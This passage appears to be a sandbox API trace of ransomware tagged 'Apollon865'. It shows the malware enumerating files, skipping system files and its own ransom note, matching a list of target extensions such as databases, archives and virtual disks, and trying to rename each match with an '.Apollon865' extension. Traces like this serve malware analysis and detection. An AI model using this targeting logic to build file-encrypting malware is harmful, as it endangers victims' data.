	[0076.942] lstrcmpiW (lpString1="base_jpn.xml", lpString2="Apollon865.txt.exe") returned 1
	[0076.942] lstrcmpiW (lpString1="base_jpn.xml", lpString2=".") returned 1
	[0076.942] lstrcmpiW (lpString1="base_jpn.xml", lpString2="..") returned 1
	[0076.942] lstrcmpiW (lpString1="base_jpn.xml", lpString2="windows") returned -1
	[0076.942] lstrcmpiW (lpString1="base_jpn.xml", lpString2="bootmgr") returned -1
	[0076.942] lstrcmpiW (lpString1="base_jpn.xml", lpString2="temp") returned -1
	[0076.942] lstrcmpiW (lpString1="base_jpn.xml", lpString2="pagefile.sys") returned -1
	[0076.942] lstrcmpiW (lpString1="base_jpn.xml", lpString2="boot") returned -1
	[0076.942] lstrcmpiW (lpString1="base_jpn.xml", lpString2="ids.txt") returned -1
	[0076.942] lstrcmpiW (lpString1="base_jpn.xml", lpString2="ntuser.dat") returned -1
	[0076.942] lstrcmpiW (lpString1="base_jpn.xml", lpString2="perflogs") returned -1
	[0076.942] lstrcmpiW (lpString1="base_jpn.xml", lpString2="MSBuild") returned -1
	[0076.942] lstrlenW (lpString="base_jpn.xml") returned 12
	[0076.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82
	[0076.942] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="base_jpn.xml" | out: lpString1="base_jpn.xml") returned="base_jpn.xml"
	[0076.942] lstrlenW (lpString="base_jpn.xml") returned 12
	[0076.942] lstrlenW (lpString="Apollon865") returned 10
	[0076.942] lstrcmpiW (lpString1="se_jpn.xml", lpString2="Apollon865") returned 1
	[0076.942] lstrlenW (lpString=".dll") returned 4
	[0076.942] lstrcmpiW (lpString1="base_jpn.xml", lpString2=".dll") returned 1
	[0076.942] lstrlenW (lpString=".lnk") returned 4
	[0076.942] lstrcmpiW (lpString1="base_jpn.xml", lpString2=".lnk") returned 1
	[0076.942] lstrlenW (lpString=".ini") returned 4
	[0076.942] lstrcmpiW (lpString1="base_jpn.xml", lpString2=".ini") returned 1
	[0076.942] lstrlenW (lpString=".sys") returned 4
	[0076.942] lstrcmpiW (lpString1="base_jpn.xml", lpString2=".sys") returned 1
	[0076.942] lstrlenW (lpString="base_jpn.xml") returned 12
	[0076.942] lstrlenW (lpString="bak") returned 3
	[0076.942] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0076.942] lstrlenW (lpString="ba_") returned 3
	[0076.942] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0076.942] lstrlenW (lpString="dbb") returned 3
	[0076.942] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0076.942] lstrlenW (lpString="vmdk") returned 4
	[0076.943] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0076.943] lstrlenW (lpString="rar") returned 3
	[0076.943] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0076.943] lstrlenW (lpString="zip") returned 3
	[0076.943] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0076.943] lstrlenW (lpString="tgz") returned 3
	[0076.943] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0076.943] lstrlenW (lpString="vbox") returned 4
	[0076.943] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0076.943] lstrlenW (lpString="vdi") returned 3
	[0076.943] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0076.943] lstrlenW (lpString="vhd") returned 3
	[0076.943] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0076.943] lstrlenW (lpString="vhdx") returned 4
	[0076.943] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0076.943] lstrlenW (lpString="avhd") returned 4
	[0076.943] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0076.943] lstrlenW (lpString="db") returned 2
	[0076.943] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0076.943] lstrlenW (lpString="db2") returned 3
	[0076.943] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0076.943] lstrlenW (lpString="db3") returned 3
	[0076.943] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0076.943] lstrlenW (lpString="dbf") returned 3
	[0076.943] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0076.943] lstrlenW (lpString="mdf") returned 3
	[0076.943] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0076.943] lstrlenW (lpString="mdb") returned 3
	[0076.943] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0076.943] lstrlenW (lpString="sql") returned 3
	[0076.943] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0076.943] lstrlenW (lpString="sqlite") returned 6
	[0076.943] lstrcmpiW (lpString1="pn.xml", lpString2="sqlite") returned -1
	[0076.943] lstrlenW (lpString="sqlite3") returned 7
	[0076.943] lstrcmpiW (lpString1="jpn.xml", lpString2="sqlite3") returned -1
	[0076.943] lstrlenW (lpString="sqlitedb") returned 8
	[0076.943] lstrcmpiW (lpString1="_jpn.xml", lpString2="sqlitedb") returned -1
	[0076.944] lstrlenW (lpString="xml") returned 3
	[0076.944] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0076.944] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml.Apollon865") returned 93
	[0076.944] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.apollon865"), dwFlags=0x1) returned 0
	[0076.944] GetLastError () returned 0x5
	[0076.944] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml MoveFileEx error 5\r\n") returned 111
	[0076.944] lstrlenA (lpString="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml MoveFileEx error 5\r\n") returned 111
	[0076.944] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0076.944] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3fa0
	[0076.944] WriteFile (in: hFile=0xc0, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x6f, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x6f, lpOverlapped=0x0) returned 1
	[0076.944] CloseHandle (hObject=0xc0) returned 1
	[0076.945] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0076.945] CloseHandle (hObject=0x0) returned 0
	[0076.945] CloseHandle (hObject=0x0) returned 0
	[0076.945] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="base_kor.xml", cAlternateFileName="")) returned 1
	[0076.945] lstrcmpiW (lpString1="base_kor.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.945] lstrcmpiW (lpString1="base_kor.xml", lpString2="Apollon865.txt.exe") returned 1
	[0076.945] lstrcmpiW (lpString1="base_kor.xml", lpString2=".") returned 1
	[0076.945] lstrcmpiW (lpString1="base_kor.xml", lpString2="..") returned 1
	[0076.945] lstrcmpiW (lpString1="base_kor.xml", lpString2="windows") returned -1
	[0076.945] lstrcmpiW (lpString1="base_kor.xml", lpString2="bootmgr") returned -1
	[0076.945] lstrcmpiW (lpString1="base_kor.xml", lpString2="temp") returned -1
	[0076.945] lstrcmpiW (lpString1="base_kor.xml", lpString2="pagefile.sys") returned -1
	[0076.945] lstrcmpiW (lpString1="base_kor.xml", lpString2="boot") returned -1
	[0076.945] lstrcmpiW (lpString1="base_kor.xml", lpString2="ids.txt") returned -1
	[0076.945] lstrcmpiW (lpString1="base_kor.xml", lpString2="ntuser.dat") returned -1
	[0076.945] lstrcmpiW (lpString1="base_kor.xml", lpString2="perflogs") returned -1
	[0076.945] lstrcmpiW (lpString1="base_kor.xml", lpString2="MSBuild") returned -1
	[0076.945] lstrlenW (lpString="base_kor.xml") returned 12
	[0076.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82
	[0076.945] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="base_kor.xml" | out: lpString1="base_kor.xml") returned="base_kor.xml"
	[0076.945] lstrlenW (lpString="base_kor.xml") returned 12
	[0076.945] lstrlenW (lpString="Apollon865") returned 10
	[0076.945] lstrcmpiW (lpString1="se_kor.xml", lpString2="Apollon865") returned 1
	[0076.945] lstrlenW (lpString=".dll") returned 4
	[0076.945] lstrcmpiW (lpString1="base_kor.xml", lpString2=".dll") returned 1
	[0076.945] lstrlenW (lpString=".lnk") returned 4
	[0076.945] lstrcmpiW (lpString1="base_kor.xml", lpString2=".lnk") returned 1
	[0076.945] lstrlenW (lpString=".ini") returned 4
	[0076.945] lstrcmpiW (lpString1="base_kor.xml", lpString2=".ini") returned 1
	[0076.945] lstrlenW (lpString=".sys") returned 4
	[0076.945] lstrcmpiW (lpString1="base_kor.xml", lpString2=".sys") returned 1
	[0076.945] lstrlenW (lpString="base_kor.xml") returned 12
	[0076.945] lstrlenW (lpString="bak") returned 3
	[0076.946] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0076.946] lstrlenW (lpString="ba_") returned 3
	[0076.946] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0076.946] lstrlenW (lpString="dbb") returned 3
	[0076.946] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0076.946] lstrlenW (lpString="vmdk") returned 4
	[0076.946] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0076.946] lstrlenW (lpString="rar") returned 3
	[0076.946] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0076.946] lstrlenW (lpString="zip") returned 3
	[0076.946] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0076.946] lstrlenW (lpString="tgz") returned 3
	[0076.946] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0076.946] lstrlenW (lpString="vbox") returned 4
	[0076.946] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0076.946] lstrlenW (lpString="vdi") returned 3
	[0076.946] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0076.946] lstrlenW (lpString="vhd") returned 3
	[0076.946] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0076.946] lstrlenW (lpString="vhdx") returned 4
	[0076.946] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0076.946] lstrlenW (lpString="avhd") returned 4
	[0076.946] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0076.946] lstrlenW (lpString="db") returned 2
	[0076.946] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0076.946] lstrlenW (lpString="db2") returned 3
	[0076.946] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0076.946] lstrlenW (lpString="db3") returned 3
	[0076.946] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0076.946] lstrlenW (lpString="dbf") returned 3
	[0076.946] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0076.946] lstrlenW (lpString="mdf") returned 3
	[0076.946] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0076.946] lstrlenW (lpString="mdb") returned 3
	[0076.946] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0076.946] lstrlenW (lpString="sql") returned 3
	[0076.947] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0076.947] lstrlenW (lpString="sqlite") returned 6
	[0076.947] lstrcmpiW (lpString1="or.xml", lpString2="sqlite") returned -1
	[0076.947] lstrlenW (lpString="sqlite3") returned 7
	[0076.947] lstrcmpiW (lpString1="kor.xml", lpString2="sqlite3") returned -1
	[0076.947] lstrlenW (lpString="sqlitedb") returned 8
	[0076.947] lstrcmpiW (lpString1="_kor.xml", lpString2="sqlitedb") returned -1
	[0076.947] lstrlenW (lpString="xml") returned 3
	[0076.947] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0076.947] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml.Apollon865") returned 93
	[0076.947] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml.apollon865"), dwFlags=0x1) returned 0
	[0076.951] GetLastError () returned 0x5
	[0076.952] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml MoveFileEx error 5\r\n") returned 111
	[0076.953] lstrlenA (lpString="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml MoveFileEx error 5\r\n") returned 111
	[0076.953] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0076.956] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x400f
	[0076.957] WriteFile (in: hFile=0xc0, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x6f, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x6f, lpOverlapped=0x0) returned 1
	[0076.957] CloseHandle (hObject=0xc0) returned 1
	[0076.957] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0076.957] CloseHandle (hObject=0x0) returned 0
	[0076.957] CloseHandle (hObject=0x0) returned 0
	[0076.957] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d281e4, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d281e4, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x269, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="base_rtl.xml", cAlternateFileName="")) returned 1
	[0076.957] lstrcmpiW (lpString1="base_rtl.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.957] lstrcmpiW (lpString1="base_rtl.xml", lpString2="Apollon865.txt.exe") returned 1
	[0076.957] lstrcmpiW (lpString1="base_rtl.xml", lpString2=".") returned 1
	[0076.957] lstrcmpiW (lpString1="base_rtl.xml", lpString2="..") returned 1
	[0076.957] lstrcmpiW (lpString1="base_rtl.xml", lpString2="windows") returned -1
	[0076.957] lstrcmpiW (lpString1="base_rtl.xml", lpString2="bootmgr") returned -1
	[0076.957] lstrcmpiW (lpString1="base_rtl.xml", lpString2="temp") returned -1
	[0076.957] lstrcmpiW (lpString1="base_rtl.xml", lpString2="pagefile.sys") returned -1
	[0076.957] lstrcmpiW (lpString1="base_rtl.xml", lpString2="boot") returned -1
	[0076.957] lstrcmpiW (lpString1="base_rtl.xml", lpString2="ids.txt") returned -1
	[0076.957] lstrcmpiW (lpString1="base_rtl.xml", lpString2="ntuser.dat") returned -1
	[0076.957] lstrcmpiW (lpString1="base_rtl.xml", lpString2="perflogs") returned -1
	[0076.957] lstrcmpiW (lpString1="base_rtl.xml", lpString2="MSBuild") returned -1
	[0076.957] lstrlenW (lpString="base_rtl.xml") returned 12
	[0076.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82
	[0076.957] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="base_rtl.xml" | out: lpString1="base_rtl.xml") returned="base_rtl.xml"
	[0076.957] lstrlenW (lpString="base_rtl.xml") returned 12
	[0076.958] lstrlenW (lpString="Apollon865") returned 10
	[0076.958] lstrcmpiW (lpString1="se_rtl.xml", lpString2="Apollon865") returned 1
	[0076.958] lstrlenW (lpString=".dll") returned 4
	[0076.958] lstrcmpiW (lpString1="base_rtl.xml", lpString2=".dll") returned 1
	[0076.958] lstrlenW (lpString=".lnk") returned 4
	[0076.958] lstrcmpiW (lpString1="base_rtl.xml", lpString2=".lnk") returned 1
	[0076.958] lstrlenW (lpString=".ini") returned 4
	[0076.958] lstrcmpiW (lpString1="base_rtl.xml", lpString2=".ini") returned 1
	[0076.958] lstrlenW (lpString=".sys") returned 4
	[0076.958] lstrcmpiW (lpString1="base_rtl.xml", lpString2=".sys") returned 1
	[0076.958] lstrlenW (lpString="base_rtl.xml") returned 12
	[0076.958] lstrlenW (lpString="bak") returned 3
	[0076.958] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0076.958] lstrlenW (lpString="ba_") returned 3
	[0076.958] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0076.958] lstrlenW (lpString="dbb") returned 3
	[0076.958] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0076.958] lstrlenW (lpString="vmdk") returned 4
	[0076.958] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0076.958] lstrlenW (lpString="rar") returned 3
	[0076.958] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0076.958] lstrlenW (lpString="zip") returned 3
	[0076.958] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0076.958] lstrlenW (lpString="tgz") returned 3
	[0076.958] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0076.958] lstrlenW (lpString="vbox") returned 4
	[0076.958] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0076.958] lstrlenW (lpString="vdi") returned 3
	[0076.958] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0076.958] lstrlenW (lpString="vhd") returned 3
	[0076.958] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0076.958] lstrlenW (lpString="vhdx") returned 4
	[0076.958] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0076.958] lstrlenW (lpString="avhd") returned 4
	[0076.958] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0076.958] lstrlenW (lpString="db") returned 2
	[0076.958] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0076.959] lstrlenW (lpString="db2") returned 3
	[0076.959] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0076.959] lstrlenW (lpString="db3") returned 3
	[0076.959] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0076.959] lstrlenW (lpString="dbf") returned 3
	[0076.959] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0076.959] lstrlenW (lpString="mdf") returned 3
	[0076.959] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0076.959] lstrlenW (lpString="mdb") returned 3
	[0076.959] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0076.959] lstrlenW (lpString="sql") returned 3
	[0076.959] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0076.959] lstrlenW (lpString="sqlite") returned 6
	[0076.959] lstrcmpiW (lpString1="tl.xml", lpString2="sqlite") returned 1
	[0076.959] lstrlenW (lpString="sqlite3") returned 7
	[0076.959] lstrcmpiW (lpString1="rtl.xml", lpString2="sqlite3") returned -1
	[0076.959] lstrlenW (lpString="sqlitedb") returned 8
	[0076.959] lstrcmpiW (lpString1="_rtl.xml", lpString2="sqlitedb") returned -1
	[0076.959] lstrlenW (lpString="xml") returned 3
	[0076.959] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0076.959] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml.Apollon865") returned 93
	[0076.959] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml.apollon865"), dwFlags=0x1) returned 0
	[0076.959] GetLastError () returned 0x5
	[0076.959] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml MoveFileEx error 5\r\n") returned 111
	[0076.959] lstrlenA (lpString="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml MoveFileEx error 5\r\n") returned 111
	[0076.959] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0076.960] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x407e
	[0076.960] WriteFile (in: hFile=0xc0, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x6f, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x6f, lpOverlapped=0x0) returned 1
	[0076.960] CloseHandle (hObject=0xc0) returned 1
	[0076.960] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0076.960] CloseHandle (hObject=0x0) returned 0
	[0076.960] CloseHandle (hObject=0x0) returned 0
	[0076.960] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45eb2eb0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x45eb2eb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0076.960] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0076.960] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d4e341, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d4e341, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6dc0e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x40e8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ja-jp.xml", cAlternateFileName="")) returned 1
	[0076.960] lstrcmpiW (lpString1="ja-jp.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.960] lstrcmpiW (lpString1="ja-jp.xml", lpString2="Apollon865.txt.exe") returned 1
	[0076.960] lstrcmpiW (lpString1="ja-jp.xml", lpString2=".") returned 1
	[0076.960] lstrcmpiW (lpString1="ja-jp.xml", lpString2="..") returned 1
	[0076.960] lstrcmpiW (lpString1="ja-jp.xml", lpString2="windows") returned -1
	[0076.960] lstrcmpiW (lpString1="ja-jp.xml", lpString2="bootmgr") returned 1
	[0076.960] lstrcmpiW (lpString1="ja-jp.xml", lpString2="temp") returned -1
	[0076.960] lstrcmpiW (lpString1="ja-jp.xml", lpString2="pagefile.sys") returned -1
	[0076.960] lstrcmpiW (lpString1="ja-jp.xml", lpString2="boot") returned 1
	[0076.960] lstrcmpiW (lpString1="ja-jp.xml", lpString2="ids.txt") returned 1
	[0076.960] lstrcmpiW (lpString1="ja-jp.xml", lpString2="ntuser.dat") returned -1
	[0076.960] lstrcmpiW (lpString1="ja-jp.xml", lpString2="perflogs") returned -1
	[0076.960] lstrcmpiW (lpString1="ja-jp.xml", lpString2="MSBuild") returned -1
	[0076.960] lstrlenW (lpString="ja-jp.xml") returned 9
	[0076.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82
	[0076.961] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="ja-jp.xml" | out: lpString1="ja-jp.xml") returned="ja-jp.xml"
	[0076.961] lstrlenW (lpString="ja-jp.xml") returned 9
	[0076.961] lstrlenW (lpString="Apollon865") returned 10
	[0076.961] lstrlenW (lpString=".dll") returned 4
	[0076.961] lstrcmpiW (lpString1="ja-jp.xml", lpString2=".dll") returned 1
	[0076.961] lstrlenW (lpString=".lnk") returned 4
	[0076.961] lstrcmpiW (lpString1="ja-jp.xml", lpString2=".lnk") returned 1
	[0076.961] lstrlenW (lpString=".ini") returned 4
	[0076.961] lstrcmpiW (lpString1="ja-jp.xml", lpString2=".ini") returned 1
	[0076.961] lstrlenW (lpString=".sys") returned 4
	[0076.961] lstrcmpiW (lpString1="ja-jp.xml", lpString2=".sys") returned 1
	[0076.961] lstrlenW (lpString="ja-jp.xml") returned 9
	[0076.961] lstrlenW (lpString="bak") returned 3
	[0076.961] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0076.961] lstrlenW (lpString="ba_") returned 3
	[0076.961] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0076.961] lstrlenW (lpString="dbb") returned 3
	[0076.961] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0076.961] lstrlenW (lpString="vmdk") returned 4
	[0076.961] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0076.961] lstrlenW (lpString="rar") returned 3
	[0076.961] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0076.961] lstrlenW (lpString="zip") returned 3
	[0076.961] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0076.961] lstrlenW (lpString="tgz") returned 3
	[0076.961] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0076.961] lstrlenW (lpString="vbox") returned 4
	[0076.961] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0076.961] lstrlenW (lpString="vdi") returned 3
	[0076.961] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0076.961] lstrlenW (lpString="vhd") returned 3
	[0076.961] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0076.961] lstrlenW (lpString="vhdx") returned 4
	[0076.961] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0076.961] lstrlenW (lpString="avhd") returned 4
